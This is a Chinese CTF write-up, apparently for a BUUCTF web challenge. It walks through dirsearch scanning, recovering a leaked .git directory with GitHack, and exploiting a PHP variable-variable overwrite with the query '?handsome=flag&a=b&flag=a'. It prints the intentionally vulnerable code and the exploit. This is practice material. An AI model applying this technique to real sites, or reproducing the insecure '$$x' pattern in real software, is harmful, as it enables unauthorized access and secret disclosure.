本文最后更新于36 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
考点:扫描目录,变量覆盖
先随便点点,contact有个message=1,试了下sql,没用

开始dirsearch扫描,一直在报429

让我一度以为这是不用扫的题,后面看到一位非常谦虚的大佬的博客,发现了解决方法,设置–timeout=2
python .\dirsearch.py -e * -u http://6ba5321c-bc74-4fb9-8711-bfc6d1cf1577.node5.buuoj.cn:81/ -t 1 --timeout=2 -x 400,403,404,500,503,429

发现.git泄露,用GitHack把文件保存下来


有一个flag.php,里面没东西,在index.php的结尾发现代码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
注意第二个foreach,如果传一个handsome=flag,可以实现$handsome=$flag变量覆盖,而后面一个foreach刚好是用exit输出$handsome,所以现在的问题就是怎么进入这个exit,非常简单,只要让(一个非flag值)=xxx &flag=(一个非flag值)就行,构造payload如下
/index.php?handsome=flag&a=b&flag=a

拿到flag,后面还有很多exit和一个echo,对应各种解题姿势,但我要睡觉了










